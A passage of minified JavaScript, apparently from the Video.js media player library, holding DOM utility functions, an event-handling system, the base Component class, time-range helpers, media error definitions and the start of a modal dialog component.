e.classList.add(...t.reduce(((e,t)=>e.concat(t.split(/\s+/))),[])),e}function ci(e,...t){return e?(e.classList.remove(...t.reduce(((e,t)=>e.concat(t.split(/\s+/))),[])),e):(kt.warn("removeClass was called with an element that doesn't exist"),null)}function di(e,t,i){return"function"==typeof i&&(i=i(e,t)),"boolean"!=typeof i&&(i=void 0),t.split(/\s+/).forEach((t=>e.classList.toggle(t,i))),e}function hi(e,t){Object.getOwnPropertyNames(t).forEach((function(i){const n=t[i];null==n||!1===n?e.removeAttribute(i):e.setAttribute(i,!0===n?"":n)}))}function pi(e){const t={};if(e&&e.attributes&&e.attributes.length>0){const i=e.attributes;for(let n=i.length-1;n>=0;n--){const r=i[n].name;let s=i[n].value;"boolean"!=typeof e[r]&&-1===",autoplay,controls,playsinline,loop,muted,default,defaultMuted,".indexOf(","+r+",")||(s=null!==s),t[r]=s}}return t}function fi(e,t){return e.getAttribute(t)}function mi(e,t,i){e.setAttribute(t,i)}function gi(e,t){e.removeAttribute(t)}function _i(){a().body.focus(),a().onselectstart=function(){return!1}}function vi(){a().onselectstart=function(){return!0}}function yi(e){if(e&&e.getBoundingClientRect&&e.parentNode){const t=e.getBoundingClientRect(),i={};return["bottom","height","left","right","top","width"].forEach((e=>{void 0!==t[e]&&(i[e]=t[e])})),i.height||(i.height=parseFloat(Ei(e,"height"))),i.width||(i.width=parseFloat(Ei(e,"width"))),i}}function bi(e){if(!e||e&&!e.offsetParent)return{left:0,top:0,width:0,height:0};const t=e.offsetWidth,i=e.offsetHeight;let n=0,r=0;for(;e.offsetParent&&e!==a()[vt.fullscreenElement];)n+=e.offsetLeft,r+=e.offsetTop,e=e.offsetParent;return{left:n,top:r,width:t,height:i}}function wi(e,t){const i={x:0,y:0};if(Xt){let t=e;for(;t&&"html"!==t.nodeName.toLowerCase();){const e=Ei(t,"transform");if(/^matrix/.test(e)){const t=e.slice(7,-1).split(/,\s/).map(Number);i.x+=t[4],i.y+=t[5]}else if(/^matrix3d/.test(e)){const t=e.slice(9,-1).split(/,\s/).map(Number);i.x+=t[12],i.y+=t[13]}t=t.parentNode}}const n={},r=bi(t.target),s=bi(e),a=s.width,o=s.height;let l=t.offsetY-(s.top-r.top),u=t.offsetX-(s.left-r.left);return t.changedTouches&&(u=t.changedTouches[0].pageX-s.left,l=t.changedTouches[0].pageY+s.top,Xt&&(u-=i.x,l-=i.y)),n.y=1-Math.max(0,Math.min(1,l/o)),n.x=Math.max(0,Math.min(1,u/a)),n}function Ti(e){return Dt(e)&&3===e.nodeType}function ki(e){for(;e.firstChild;)e.removeChild(e.firstChild);return e}function Si(e){return"function"==typeof e&&(e=e()),(Array.isArray(e)?e:[e]).map((e=>("function"==typeof e&&(e=e()),ii(e)||Ti(e)?e:"string"==typeof e&&/\S/.test(e)?a().createTextNode(e):void 0))).filter((e=>e))}function Mi(e,t){return Si(t).forEach((t=>e.appendChild(t))),e}function xi(e,t){return Mi(ki(e),t)}function Li(e){return void 0===e.button&&void 0===e.buttons||0===e.button&&void 0===e.buttons||"mouseup"===e.type&&0===e.button&&0===e.buttons||0===e.button&&1===e.buttons}const Ci=ri("querySelector"),Di=ri("querySelectorAll");function Ei(e,t){if(!e||!t)return"";if("function"==typeof r().getComputedStyle){let i;try{i=r().getComputedStyle(e)}catch(e){return""}return i?i.getPropertyValue(t)||i[t]:""}return""}var Pi=Object.freeze({__proto__:null,isReal:ti,isEl:ii,isInFrame:ni,createEl:si,textContent:ai,prependTo:oi,hasClass:li,addClass:ui,removeClass:ci,toggleClass:di,setAttributes:hi,getAttributes:pi,getAttribute:fi,setAttribute:mi,removeAttribute:gi,blockTextSelection:_i,unblockTextSelection:vi,getBoundingClientRect:yi,findPosition:bi,getPointerPosition:wi,isTextNode:Ti,emptyEl:ki,normalizeContent:Si,appendContent:Mi,insertContent:xi,isSingleLeftClick:Li,$:Ci,$$:Di,computedStyle:Ei});let Ai,Ii=!1;const Oi=function(){if(!1===Ai.options.autoSetup)return;const e=Array.prototype.slice.call(a().getElementsByTagName("video")),t=Array.prototype.slice.call(a().getElementsByTagName("audio")),i=Array.prototype.slice.call(a().getElementsByTagName("video-js")),n=e.concat(t,i);if(n&&n.length>0)for(let e=0,t=n.length;e<t;e++){const t=n[e];if(!t||!t.getAttribute){Yi(1);break}void 0===t.player&&null!==t.getAttribute("data-setup")&&Ai(t)}else Ii||Yi(1)};function Yi(e,t){ti()&&(t&&(Ai=t),r().setTimeout(Oi,e))}function $i(){Ii=!0,r().removeEventListener("load",$i)}ti()&&("complete"===a().readyState?$i():r().addEventListener("load",$i));const ji=function(e){const t=a().createElement("style");return t.className=e,t},Ni=function(e,t){e.styleSheet?e.styleSheet.cssText=t:e.textContent=t};var Ri=new WeakMap;let Hi,Fi=3;function Bi(){return Fi++}function Ui(e,t){if(!Ri.has(e))return;const i=Ri.get(e);0===i.handlers[t].length&&(delete i.handlers[t],e.removeEventListener?e.removeEventListener(t,i.dispatcher,!1):e.detachEvent&&e.detachEvent("on"+t,i.dispatcher)),Object.getOwnPropertyNames(i.handlers).length<=0&&(delete i.handlers,delete i.dispatcher,delete i.disabled),0===Object.getOwnPropertyNames(i).length&&Ri.delete(e)}function Wi(e,t,i,n){i.forEach((function(i){e(t,i,n)}))}function zi(e){if(e.fixed_)return e;function t(){return!0}function i(){return!1}if(!e||!e.isPropagationStopped||!e.isImmediatePropagationStopped){const n=e||r().event;e={};for(const t in n)"layerX"!==t&&"layerY"!==t&&"keyLocation"!==t&&"webkitMovementX"!==t&&"webkitMovementY"!==t&&"path"!==t&&("returnValue"===t&&n.preventDefault||(e[t]=n[t]));if(e.target||(e.target=e.srcElement||a()),e.relatedTarget||(e.relatedTarget=e.fromElement===e.target?e.toElement:e.fromElement),e.preventDefault=function(){n.preventDefault&&n.preventDefault(),e.returnValue=!1,n.returnValue=!1,e.defaultPrevented=!0},e.defaultPrevented=!1,e.stopPropagation=function(){n.stopPropagation&&n.stopPropagation(),e.cancelBubble=!0,n.cancelBubble=!0,e.isPropagationStopped=t},e.isPropagationStopped=i,e.stopImmediatePropagation=function(){n.stopImmediatePropagation&&n.stopImmediatePropagation(),e.isImmediatePropagationStopped=t,e.stopPropagation()},e.isImmediatePropagationStopped=i,null!==e.clientX&&void 0!==e.clientX){const t=a().documentElement,i=a().body;e.pageX=e.clientX+(t&&t.scrollLeft||i&&i.scrollLeft||0)-(t&&t.clientLeft||i&&i.clientLeft||0),e.pageY=e.clientY+(t&&t.scrollTop||i&&i.scrollTop||0)-(t&&t.clientTop||i&&i.clientTop||0)}e.which=e.charCode||e.keyCode,null!==e.button&&void 0!==e.button&&(e.button=1&e.button?0:4&e.button?1:2&e.button?2:0)}return e.fixed_=!0,e}const qi=function(){if("boolean"!=typeof Hi){Hi=!1;try{const e=Object.defineProperty({},"passive",{get(){Hi=!0}});r().addEventListener("test",null,e),r().removeEventListener("test",null,e)}catch(e){}}return Hi},Vi=["touchstart","touchmove"];function Ji(e,t,i){if(Array.isArray(t))return Wi(Ji,e,t,i);Ri.has(e)||Ri.set(e,{});const n=Ri.get(e);if(n.handlers||(n.handlers={}),n.handlers[t]||(n.handlers[t]=[]),i.guid||(i.guid=Bi()),n.handlers[t].push(i),n.dispatcher||(n.disabled=!1,n.dispatcher=function(t,i){if(n.disabled)return;t=zi(t);const r=n.handlers[t.type];if(r){const n=r.slice(0);for(let r=0,s=n.length;r<s&&!t.isImmediatePropagationStopped();r++)try{n[r].call(e,t,i)}catch(e){kt.error(e)}}}),1===n.handlers[t].length)if(e.addEventListener){let i=!1;qi()&&Vi.indexOf(t)>-1&&(i={passive:!0}),e.addEventListener(t,n.dispatcher,i)}else e.attachEvent&&e.attachEvent("on"+t,n.dispatcher)}function Gi(e,t,i){if(!Ri.has(e))return;const n=Ri.get(e);if(!n.handlers)return;if(Array.isArray(t))return Wi(Gi,e,t,i);const r=function(e,t){n.handlers[t]=[],Ui(e,t)};if(void 0===t){for(const t in n.handlers)Object.prototype.hasOwnProperty.call(n.handlers||{},t)&&r(e,t);return}const s=n.handlers[t];if(s)if(i){if(i.guid)for(let e=0;e<s.length;e++)s[e].guid===i.guid&&s.splice(e--,1);Ui(e,t)}else r(e,t)}function Ki(e,t,i){const n=Ri.has(e)?Ri.get(e):{},r=e.parentNode||e.ownerDocument;if("string"==typeof t?t={type:t,target:e}:t.target||(t.target=e),t=zi(t),n.dispatcher&&n.dispatcher.call(e,t,i),r&&!t.isPropagationStopped()&&!0===t.bubbles)Ki.call(null,r,t,i);else if(!r&&!t.defaultPrevented&&t.target&&t.target[t.type]){Ri.has(t.target)||Ri.set(t.target,{});const e=Ri.get(t.target);t.target[t.type]&&(e.disabled=!0,"function"==typeof t.target[t.type]&&t.target[t.type](),e.disabled=!1)}return!t.defaultPrevented}function Xi(e,t,i){if(Array.isArray(t))return Wi(Xi,e,t,i);const n=function(){Gi(e,t,n),i.apply(this,arguments)};n.guid=i.guid=i.guid||Bi(),Ji(e,t,n)}function Zi(e,t,i){const n=function(){Gi(e,t,n),i.apply(this,arguments)};n.guid=i.guid=i.guid||Bi(),Ji(e,t,n)}var Qi=Object.freeze({__proto__:null,fixEvent:zi,on:Ji,off:Gi,trigger:Ki,one:Xi,any:Zi});const tn=function(e,t,i){t.guid||(t.guid=Bi());const n=t.bind(e);return n.guid=i?i+"_"+t.guid:t.guid,n},nn=function(e,t){let i=r().performance.now();return function(...n){const s=r().performance.now();s-i>=t&&(e(...n),i=s)}},rn=function(e,t,i,n=r()){let s;const a=function(){const r=this,a=arguments;let o=function(){s=null,o=null,i||e.apply(r,a)};!s&&i&&e.apply(r,a),n.clearTimeout(s),s=n.setTimeout(o,t)};return a.cancel=()=>{n.clearTimeout(s),s=null},a};var sn=Object.freeze({__proto__:null,UPDATE_REFRESH_INTERVAL:30,bind_:tn,throttle:nn,debounce:rn});let an;class on{on(e,t){const i=this.addEventListener;this.addEventListener=()=>{},Ji(this,e,t),this.addEventListener=i}off(e,t){Gi(this,e,t)}one(e,t){const i=this.addEventListener;this.addEventListener=()=>{},Xi(this,e,t),this.addEventListener=i}any(e,t){const i=this.addEventListener;this.addEventListener=()=>{},Zi(this,e,t),this.addEventListener=i}trigger(e){const t=e.type||e;"string"==typeof e&&(e={type:t}),e=zi(e),this.allowedEvents_[t]&&this["on"+t]&&this["on"+t](e),Ki(this,e)}queueTrigger(e){an||(an=new Map);const t=e.type||e;let i=an.get(this);i||(i=new Map,an.set(this,i));const n=i.get(t);i.delete(t),r().clearTimeout(n);const s=r().setTimeout((()=>{i.delete(t),0===i.size&&(i=null,an.delete(this)),this.trigger(e)}),0);i.set(t,s)}}on.prototype.allowedEvents_={},on.prototype.addEventListener=on.prototype.on,on.prototype.removeEventListener=on.prototype.off,on.prototype.dispatchEvent=on.prototype.trigger;const ln=e=>"function"==typeof e.name?e.name():"string"==typeof e.name?e.name:e.name_?e.name_:e.constructor&&e.constructor.name?e.constructor.name:typeof e,un=e=>e instanceof on||!!e.eventBusEl_&&["on","one","off","trigger"].every((t=>"function"==typeof e[t])),cn=e=>"string"==typeof e&&/\S/.test(e)||Array.isArray(e)&&!!e.length,dn=(e,t,i)=>{if(!e||!e.nodeName&&!un(e))throw new Error(`Invalid target for ${ln(t)}#${i}; must be a DOM node or evented object.`)},hn=(e,t,i)=>{if(!cn(e))throw new Error(`Invalid event type for ${ln(t)}#${i}; must be a non-empty string or array.`)},pn=(e,t,i)=>{if("function"!=typeof e)throw new Error(`Invalid listener for ${ln(t)}#${i}; must be a function.`)},fn=(e,t,i)=>{const n=t.length<3||t[0]===e||t[0]===e.eventBusEl_;let r,s,a;return n?(r=e.eventBusEl_,t.length>=3&&t.shift(),[s,a]=t):[r,s,a]=t,dn(r,e,i),hn(s,e,i),pn(a,e,i),a=tn(e,a),{isTargetingSelf:n,target:r,type:s,listener:a}},mn=(e,t,i,n)=>{dn(e,e,t),e.nodeName?Qi[t](e,i,n):e[t](i,n)},gn={on(...e){const{isTargetingSelf:t,target:i,type:n,listener:r}=fn(this,e,"on");if(mn(i,"on",n,r),!t){const e=()=>this.off(i,n,r);e.guid=r.guid;const t=()=>this.off("dispose",e);t.guid=r.guid,mn(this,"on","dispose",e),mn(i,"on","dispose",t)}},one(...e){const{isTargetingSelf:t,target:i,type:n,listener:r}=fn(this,e,"one");if(t)mn(i,"one",n,r);else{const e=(...t)=>{this.off(i,n,e),r.apply(null,t)};e.guid=r.guid,mn(i,"one",n,e)}},any(...e){const{isTargetingSelf:t,target:i,type:n,listener:r}=fn(this,e,"any");if(t)mn(i,"any",n,r);else{const e=(...t)=>{this.off(i,n,e),r.apply(null,t)};e.guid=r.guid,mn(i,"any",n,e)}},off(e,t,i){if(!e||cn(e))Gi(this.eventBusEl_,e,t);else{const n=e,r=t;dn(n,this,"off"),hn(r,this,"off"),pn(i,this,"off"),i=tn(this,i),this.off("dispose",i),n.nodeName?(Gi(n,r,i),Gi(n,"dispose",i)):un(n)&&(n.off(r,i),n.off("dispose",i))}},trigger(e,t){dn(this.eventBusEl_,this,"trigger");const i=e&&"string"!=typeof e?e.type:e;if(!cn(i))throw new Error(`Invalid event type for ${ln(this)}#trigger; must be a non-empty string or object with a type key that has a non-empty value.`);return Ki(this.eventBusEl_,e,t)}};function _n(e,t={}){const{eventBusKey:i}=t;if(i){if(!e[i].nodeName)throw new Error(`The eventBusKey "${i}" does not refer to an element.`);e.eventBusEl_=e[i]}else e.eventBusEl_=si("span",{className:"vjs-event-bus"});return Object.assign(e,gn),e.eventedCallbacks&&e.eventedCallbacks.forEach((e=>{e()})),e.on("dispose",(()=>{e.off(),[e,e.el_,e.eventBusEl_].forEach((function(e){e&&Ri.has(e)&&Ri.delete(e)})),r().setTimeout((()=>{e.eventBusEl_=null}),0)})),e}const vn={state:{},setState(e){let t;return"function"==typeof e&&(e=e()),Lt(e,((e,i)=>{this.state[i]!==e&&(t=t||{},t[i]={from:this.state[i],to:e}),this.state[i]=e})),t&&un(this)&&this.trigger({changes:t,type:"statechanged"}),t}};function yn(e,t){return Object.assign(e,vn),e.state=Object.assign({},e.state,t),"function"==typeof e.handleStateChanged&&un(e)&&e.on("statechanged",e.handleStateChanged),e}const bn=function(e){return"string"!=typeof e?e:e.replace(/./,(e=>e.toLowerCase()))},wn=function(e){return"string"!=typeof e?e:e.replace(/./,(e=>e.toUpperCase()))},Tn=function(e,t){return wn(e)===wn(t)};var kn=Object.freeze({__proto__:null,toLowerCase:bn,toTitleCase:wn,titleCaseEquals:Tn});class Sn{constructor(e,t,i){if(!e&&this.play?this.player_=e=this:this.player_=e,this.isDisposed_=!1,this.parentComponent_=null,this.options_=Pt({},this.options_),t=this.options_=Pt(this.options_,t),this.id_=t.id||t.el&&t.el.id,!this.id_){const t=e&&e.id&&e.id()||"no_player";this.id_=`${t}_component_${Bi()}`}this.name_=t.name||null,t.el?this.el_=t.el:!1!==t.createEl&&(this.el_=this.createEl()),t.className&&this.el_&&t.className.split(" ").forEach((e=>this.addClass(e))),["on","off","one","any","trigger"].forEach((e=>{this[e]=void 0})),!1!==t.evented&&(_n(this,{eventBusKey:this.el_?"el_":null}),this.handleLanguagechange=this.handleLanguagechange.bind(this),this.on(this.player_,"languagechange",this.handleLanguagechange)),yn(this,this.constructor.defaultState),this.children_=[],this.childIndex_={},this.childNameIndex_={},this.setTimeoutIds_=new Set,this.setIntervalIds_=new Set,this.rafIds_=new Set,this.namedRafs_=new Map,this.clearingTimersOnDispose_=!1,!1!==t.initChildren&&this.initChildren(),this.ready(i),!1!==t.reportTouchActivity&&this.enableTouchActivity()}on(e,t){}off(e,t){}one(e,t){}any(e,t){}trigger(e){}dispose(e={}){if(!this.isDisposed_){if(this.readyQueue_&&(this.readyQueue_.length=0),this.trigger({type:"dispose",bubbles:!1}),this.isDisposed_=!0,this.children_)for(let e=this.children_.length-1;e>=0;e--)this.children_[e].dispose&&this.children_[e].dispose();this.children_=null,this.childIndex_=null,this.childNameIndex_=null,this.parentComponent_=null,this.el_&&(this.el_.parentNode&&(e.restoreEl?this.el_.parentNode.replaceChild(e.restoreEl,this.el_):this.el_.parentNode.removeChild(this.el_)),this.el_=null),this.player_=null}}isDisposed(){return Boolean(this.isDisposed_)}player(){return this.player_}options(e){return e?(this.options_=Pt(this.options_,e),this.options_):this.options_}el(){return this.el_}createEl(e,t,i){return si(e,t,i)}localize(e,t,i=e){const n=this.player_.language&&this.player_.language(),r=this.player_.languages&&this.player_.languages(),s=r&&r[n],a=n&&n.split("-")[0],o=r&&r[a];let l=i;return s&&s[e]?l=s[e]:o&&o[e]&&(l=o[e]),t&&(l=l.replace(/\{(\d+)\}/g,(function(e,i){const n=t[i-1];let r=n;return void 0===n&&(r=e),r}))),l}handleLanguagechange(){}contentEl(){return this.contentEl_||this.el_}id(){return this.id_}name(){return this.name_}children(){return this.children_}getChildById(e){return this.childIndex_[e]}getChild(e){if(e)return this.childNameIndex_[e]}getDescendant(...e){e=e.reduce(((e,t)=>e.concat(t)),[]);let t=this;for(let i=0;i<e.length;i++)if(t=t.getChild(e[i]),!t||!t.getChild)return;return t}addChild(e,t={},i=this.children_.length){let n,r;if("string"==typeof e){r=wn(e);const i=t.componentClass||r;t.name=r;const s=Sn.getComponent(i);if(!s)throw new Error(`Component ${i} does not exist`);if("function"!=typeof s)return null;n=new s(this.player_||this,t)}else n=e;if(n.parentComponent_&&n.parentComponent_.removeChild(n),this.children_.splice(i,0,n),n.parentComponent_=this,"function"==typeof n.id&&(this.childIndex_[n.id()]=n),r=r||n.name&&wn(n.name()),r&&(this.childNameIndex_[r]=n,this.childNameIndex_[bn(r)]=n),"function"==typeof n.el&&n.el()){let e=null;this.children_[i+1]&&(this.children_[i+1].el_?e=this.children_[i+1].el_:ii(this.children_[i+1])&&(e=this.children_[i+1])),this.contentEl().insertBefore(n.el(),e)}return n}removeChild(e){if("string"==typeof e&&(e=this.getChild(e)),!e||!this.children_)return;let t=!1;for(let i=this.children_.length-1;i>=0;i--)if(this.children_[i]===e){t=!0,this.children_.splice(i,1);break}if(!t)return;e.parentComponent_=null,this.childIndex_[e.id()]=null,this.childNameIndex_[wn(e.name())]=null,this.childNameIndex_[bn(e.name())]=null;const i=e.el();i&&i.parentNode===this.contentEl()&&this.contentEl().removeChild(e.el())}initChildren(){const e=this.options_.children;if(e){const t=this.options_,i=e=>{const i=e.name;let n=e.opts;if(void 0!==t[i]&&(n=t[i]),!1===n)return;!0===n&&(n={}),n.playerOptions=this.options_.playerOptions;const r=this.addChild(i,n);r&&(this[i]=r)};let n;const r=Sn.getComponent("Tech");n=Array.isArray(e)?e:Object.keys(e),n.concat(Object.keys(this.options_).filter((function(e){return!n.some((function(t){return"string"==typeof t?e===t:e===t.name}))}))).map((t=>{let i,n;return"string"==typeof t?(i=t,n=e[i]||this.options_[i]||{}):(i=t.name,n=t),{name:i,opts:n}})).filter((e=>{const t=Sn.getComponent(e.opts.componentClass||wn(e.name));return t&&!r.isTech(t)})).forEach(i)}}buildCSSClass(){return""}ready(e,t=!1){if(e)return this.isReady_?void(t?e.call(this):this.setTimeout(e,1)):(this.readyQueue_=this.readyQueue_||[],void this.readyQueue_.push(e))}triggerReady(){this.isReady_=!0,this.setTimeout((function(){const e=this.readyQueue_;this.readyQueue_=[],e&&e.length>0&&e.forEach((function(e){e.call(this)}),this),this.trigger("ready")}),1)}$(e,t){return Ci(e,t||this.contentEl())}$$(e,t){return Di(e,t||this.contentEl())}hasClass(e){return li(this.el_,e)}addClass(...e){ui(this.el_,...e)}removeClass(...e){ci(this.el_,...e)}toggleClass(e,t){di(this.el_,e,t)}show(){this.removeClass("vjs-hidden")}hide(){this.addClass("vjs-hidden")}lockShowing(){this.addClass("vjs-lock-showing")}unlockShowing(){this.removeClass("vjs-lock-showing")}getAttribute(e){return fi(this.el_,e)}setAttribute(e,t){mi(this.el_,e,t)}removeAttribute(e){gi(this.el_,e)}width(e,t){return this.dimension("width",e,t)}height(e,t){return this.dimension("height",e,t)}dimensions(e,t){this.width(e,!0),this.height(t)}dimension(e,t,i){if(void 0!==t)return null!==t&&t==t||(t=0),-1!==(""+t).indexOf("%")||-1!==(""+t).indexOf("px")?this.el_.style[e]=t:this.el_.style[e]="auto"===t?"":t+"px",void(i||this.trigger("componentresize"));if(!this.el_)return 0;const n=this.el_.style[e],r=n.indexOf("px");return-1!==r?parseInt(n.slice(0,r),10):parseInt(this.el_["offset"+wn(e)],10)}currentDimension(e){let t=0;if("width"!==e&&"height"!==e)throw new Error("currentDimension only accepts width or height value");if(t=Ei(this.el_,e),t=parseFloat(t),0===t||isNaN(t)){const i=`offset${wn(e)}`;t=this.el_[i]}return t}currentDimensions(){return{width:this.currentDimension("width"),height:this.currentDimension("height")}}currentWidth(){return this.currentDimension("width")}currentHeight(){return this.currentDimension("height")}focus(){this.el_.focus()}blur(){this.el_.blur()}handleKeyDown(e){this.player_&&(l().isEventKey(e,"Tab")||e.stopPropagation(),this.player_.handleKeyDown(e))}handleKeyPress(e){this.handleKeyDown(e)}emitTapEvents(){let e,t=0,i=null;this.on("touchstart",(function(n){1===n.touches.length&&(i={pageX:n.touches[0].pageX,pageY:n.touches[0].pageY},t=r().performance.now(),e=!0)})),this.on("touchmove",(function(t){if(t.touches.length>1)e=!1;else if(i){const n=t.touches[0].pageX-i.pageX,r=t.touches[0].pageY-i.pageY;Math.sqrt(n*n+r*r)>10&&(e=!1)}}));const n=function(){e=!1};this.on("touchleave",n),this.on("touchcancel",n),this.on("touchend",(function(n){i=null,!0===e&&r().performance.now()-t<200&&(n.preventDefault(),this.trigger("tap"))}))}enableTouchActivity(){if(!this.player()||!this.player().reportUserActivity)return;const e=tn(this.player(),this.player().reportUserActivity);let t;this.on("touchstart",(function(){e(),this.clearInterval(t),t=this.setInterval(e,250)}));const i=function(i){e(),this.clearInterval(t)};this.on("touchmove",e),this.on("touchend",i),this.on("touchcancel",i)}setTimeout(e,t){var i;return e=tn(this,e),this.clearTimersOnDispose_(),i=r().setTimeout((()=>{this.setTimeoutIds_.has(i)&&this.setTimeoutIds_.delete(i),e()}),t),this.setTimeoutIds_.add(i),i}clearTimeout(e){return this.setTimeoutIds_.has(e)&&(this.setTimeoutIds_.delete(e),r().clearTimeout(e)),e}setInterval(e,t){e=tn(this,e),this.clearTimersOnDispose_();const i=r().setInterval(e,t);return this.setIntervalIds_.add(i),i}clearInterval(e){return this.setIntervalIds_.has(e)&&(this.setIntervalIds_.delete(e),r().clearInterval(e)),e}requestAnimationFrame(e){var t;return this.clearTimersOnDispose_(),e=tn(this,e),t=r().requestAnimationFrame((()=>{this.rafIds_.has(t)&&this.rafIds_.delete(t),e()})),this.rafIds_.add(t),t}requestNamedAnimationFrame(e,t){if(this.namedRafs_.has(e))return;this.clearTimersOnDispose_(),t=tn(this,t);const i=this.requestAnimationFrame((()=>{t(),this.namedRafs_.has(e)&&this.namedRafs_.delete(e)}));return this.namedRafs_.set(e,i),e}cancelNamedAnimationFrame(e){this.namedRafs_.has(e)&&(this.cancelAnimationFrame(this.namedRafs_.get(e)),this.namedRafs_.delete(e))}cancelAnimationFrame(e){return this.rafIds_.has(e)&&(this.rafIds_.delete(e),r().cancelAnimationFrame(e)),e}clearTimersOnDispose_(){this.clearingTimersOnDispose_||(this.clearingTimersOnDispose_=!0,this.one("dispose",(()=>{[["namedRafs_","cancelNamedAnimationFrame"],["rafIds_","cancelAnimationFrame"],["setTimeoutIds_","clearTimeout"],["setIntervalIds_","clearInterval"]].forEach((([e,t])=>{this[e].forEach(((e,i)=>this[t](i)))})),this.clearingTimersOnDispose_=!1})))}static registerComponent(e,t){if("string"!=typeof e||!e)throw new Error(`Illegal component name, "${e}"; must be a non-empty string.`);const i=Sn.getComponent("Tech"),n=i&&i.isTech(t),r=Sn===t||Sn.prototype.isPrototypeOf(t.prototype);if(n||!r){let t;throw t=n?"techs must be registered using Tech.registerTech()":"must be a Component subclass",new Error(`Illegal component, "${e}"; ${t}.`)}e=wn(e),Sn.components_||(Sn.components_={});const s=Sn.getComponent("Player");if("Player"===e&&s&&s.players){const e=s.players,t=Object.keys(e);if(e&&t.length>0&&t.map((t=>e[t])).every(Boolean))throw new Error("Can not register Player component after player has been created.")}return Sn.components_[e]=t,Sn.components_[bn(e)]=t,t}static getComponent(e){if(e&&Sn.components_)return Sn.components_[e]}}function Mn(e,t,i,n){return function(e,t,i){if("number"!=typeof t||t<0||t>i)throw new Error(`Failed to execute '${e}' on 'TimeRanges': The index provided (${t}) is non-numeric or out of bounds (0-${i}).`)}(e,n,i.length-1),i[n][t]}function xn(e){let t;return t=void 0===e||0===e.length?{length:0,start(){throw new Error("This TimeRanges object is empty")},end(){throw new Error("This TimeRanges object is empty")}}:{length:e.length,start:Mn.bind(null,"start",0,e),end:Mn.bind(null,"end",1,e)},r().Symbol&&r().Symbol.iterator&&(t[r().Symbol.iterator]=()=>(e||[]).values()),t}function Ln(e,t){return Array.isArray(e)?xn(e):void 0===e||void 0===t?xn():xn([[e,t]])}Sn.registerComponent("Component",Sn);const Cn=function(e,t){e=e<0?0:e;let i=Math.floor(e%60),n=Math.floor(e/60%60),r=Math.floor(e/3600);const s=Math.floor(t/60%60),a=Math.floor(t/3600);return(isNaN(e)||e===1/0)&&(r=n=i="-"),r=r>0||a>0?r+":":"",n=((r||s>=10)&&n<10?"0"+n:n)+":",i=i<10?"0"+i:i,r+n+i};let Dn=Cn;function En(e){Dn=e}function Pn(){Dn=Cn}function An(e,t=e){return Dn(e,t)}var In=Object.freeze({__proto__:null,createTimeRanges:Ln,createTimeRange:Ln,setFormatTime:En,resetFormatTime:Pn,formatTime:An});function On(e,t){let i,n,r=0;if(!t)return 0;e&&e.length||(e=Ln(0,0));for(let s=0;s<e.length;s++)i=e.start(s),n=e.end(s),n>t&&(n=t),r+=n-i;return r/t}function Yn(e){if(e instanceof Yn)return e;"number"==typeof e?this.code=e:"string"==typeof e?this.message=e:Dt(e)&&("number"==typeof e.code&&(this.code=e.code),Object.assign(this,e)),this.message||(this.message=Yn.defaultMessages[this.code]||"")}Yn.prototype.code=0,Yn.prototype.message="",Yn.prototype.status=null,Yn.errorTypes=["MEDIA_ERR_CUSTOM","MEDIA_ERR_ABORTED","MEDIA_ERR_NETWORK","MEDIA_ERR_DECODE","MEDIA_ERR_SRC_NOT_SUPPORTED","MEDIA_ERR_ENCRYPTED"],Yn.defaultMessages={1:"You aborted the media playback",2:"A network error caused the media download to fail part-way.",3:"The media playback was aborted due to a corruption problem or because the media used features your browser did not support.",4:"The media could not be loaded, either because the server or network failed or because the format is not supported.",5:"The media is encrypted and we do not have the keys to decrypt it."};for(let e=0;e<Yn.errorTypes.length;e++)Yn[Yn.errorTypes[e]]=e,Yn.prototype[Yn.errorTypes[e]]=e;function $n(e){return null!=e&&"function"==typeof e.then}function jn(e){$n(e)&&e.then(null,(e=>{}))}const Nn=function(e){return["kind","label","language","id","inBandMetadataTrackDispatchType","mode","src"].reduce(((t,i,n)=>(e[i]&&(t[i]=e[i]),t)),{cues:e.cues&&Array.prototype.map.call(e.cues,(function(e){return{startTime:e.startTime,endTime:e.endTime,text:e.text,id:e.id}}))})},Rn="vjs-modal-dialog";class Hn extends Sn{constructor(e,t){super(e,t),this.handleKeyDown_=e=>this.handleKeyDown(e),this.close_=e=>this.close(e),this.opened_=this.hasBeenOpened_=this.hasBeenFilled_=!1,this.closeable(!this.options_.uncloseable),this.content(this.options_.content),this.contentEl_=si("div",{className:`${Rn}-content`},{role:"document"}),this.descEl_=si("p",{className:`${Rn}-description vjs-control-text`,id:this.el().getAttribute("aria-describedby")}),ai(this.descEl_,this.description()),this.el_.appendChild(this.descEl_),this.el_.appendChild(this.contentEl_)}createEl(){return super.createEl("div",{className:this.buildCSSClass(),tabIndex:-1},{"aria-describedby":`${this.id()}_description`,"aria-hidden":"true","aria-label":this.label(),role:"dialog"})}dispose(){this.contentEl_=null,this.descEl_=null,this.previouslyActiveEl_=null,super.dispose()}buildCSSClass(){return`${Rn} vjs-hidden ${super.buildCSSClass()}`}label(){return this.localize(this.options_.label||"Modal Window")}description(){let e=this.options_.description||this.localize("This is a modal window.");return this.closeable()&&(e+=" "+this.localize("This modal can be closed by pressing the Escape key or activating the close button.")),e}open(){if(!this.opened_){const e=this.player();this.trigger("beforemodalopen"),this.opened_=!0,(this.options_.fillAlways||!this.hasBeenOpened_&&!this.hasBeenFilled_)&&this.fill(),this.wasPlaying_=!e.paused(),this.options_.pauseOnOpen&&this.wasPlaying_&&e.pause(),this.on("keydown",this.handleKeyDown_),this.hadControls_=e.controls(),e.controls(!1),this.show(),this.conditionalFocus_(),this.el().setAttribute("aria-hidden","false"),this.trigger("modalopen"),this.hasBeenOpened_=!0}}opened(e){return"boolean"==typeof e&&this[e?"open":"close"](),this.opened_}close(){if(!this.opened_)return;const e=this.player();this.trigger("beforemodalclose"),this.opened_=!1,this.wasPlaying_&&this.options_.pauseOnOpen&&e.play(),this.off("keydown",this.handleKeyDown_),this.hadControls_&&e.controls(!0),this.hide(),this.el().setAttribute("aria-hidden","true"),this.trigger("modalclose"),this.conditionalBlur_(),this.options_.temporary&&this.dispose()}closeable(e){if("boolean"==typeof e){const t=this.closeable_=!!e;let i=this.getChild("closeButton");if(t&&!i){const e=this.contentEl_;this.contentEl_=this.el_,i=this.addChild("closeButton",{controlText:"Close Modal Dialog"}),this.contentEl_=e,this.on(i,"close",this.close_)}!t&&i&&(this.off(i,"close",this.close_),this.removeChild(i),i.dispose())}return this.closeable_}fill(){this.fillWith(this.content())}fillWith(e){const 